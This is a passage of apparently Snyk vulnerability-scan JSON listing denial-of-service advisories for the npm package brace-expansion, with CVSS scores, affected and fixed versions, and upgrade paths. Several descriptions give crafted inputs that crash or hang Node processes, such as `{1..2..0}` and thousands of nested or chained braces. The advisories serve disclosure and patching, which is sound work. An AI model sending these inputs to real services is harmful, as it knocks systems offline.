"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable 